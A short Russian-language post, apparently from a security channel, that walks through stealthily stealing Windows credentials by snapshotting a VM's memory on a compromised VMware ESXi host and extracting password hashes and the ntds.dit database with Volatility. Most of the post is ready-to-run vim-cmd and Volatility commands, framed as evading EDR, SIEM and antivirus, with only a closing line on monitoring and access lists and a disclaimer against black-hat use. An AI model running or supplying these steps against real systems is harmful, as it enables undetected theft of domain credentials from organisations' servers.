Volatility + ESXi = Бесшумный дамп хэшей и NTDS 😈

Когда дело касается извлечения учетных данных, большинство атак сосредоточено на виндовых машинах – Mimikatz, DCSync, Pass-the-Hash. Но что, если спуститься ниже? Если ты контролируешь гипервизор, тебе даже не нужно ломать саму ОС – ты просто забираешь память ВМ целиком и извлекаешь из нее хэши, NTDS и другие артефакты без триггеров EDR/SIEM 🐸

Ниже описал прикольный вектор через Volatility и консоль VMware для бесшумного дампа кредов с серверов 🪨

Поиск информации о виртуальных машинах на сервере ❗️

vim-cmd vmsvc/getallvms
vim-cmd vmsvc/power.getstate <VMID>
vim-cmd vmsvc/get.snapshotinfo <VMID>

Создаем snapshot системы с обязательным извлечением *.vmem файла 🔫

vim-cmd vmsvc/snapshot.create <VMID> <snapshotname> <description> true true
ls -ll /vmfs/volumes/
ls -ll /vmfs/volumes/<UUID>/<snapshotname>

В /vmfs/volumes/<UUID>/<snapshotname> будет файл с расширением *.vmem который можно будет проанализировать при помощи Volatility 😆

/tmp/v -f "/vmfs/volumes/<UUID>/<snapshotname>/file.vmem" imageinfo

/tmp/v -f "/vmfs/volumes/<UUID>/<snapshotname>/file.vmem" --profile="WindowsVersion" hashdump

/tmp/v -f "/vmfs/volumes/<UUID>/<snapshotname>/file.vmem" --profile="WindowsVersion" filescan | grep ntds.dit 

/tmp/v -f "/vmfs/volumes/<UUID>/<snapshotname>/file.vmem" --profile="WindowsVersion" dumpfiles -Q <ntds memaddress> --name file -D /tmp/ntds.dit

А самый угар в том что на уровне ОС самой виртуалки и никакими антивирусами это не выловить, поможет только мониторинг активности и грамотная настройка Access List-ов 😏

P.S Автор против блэчеров и активно выступает за согласованние действий с владельцами систем

🧢 s0ld13r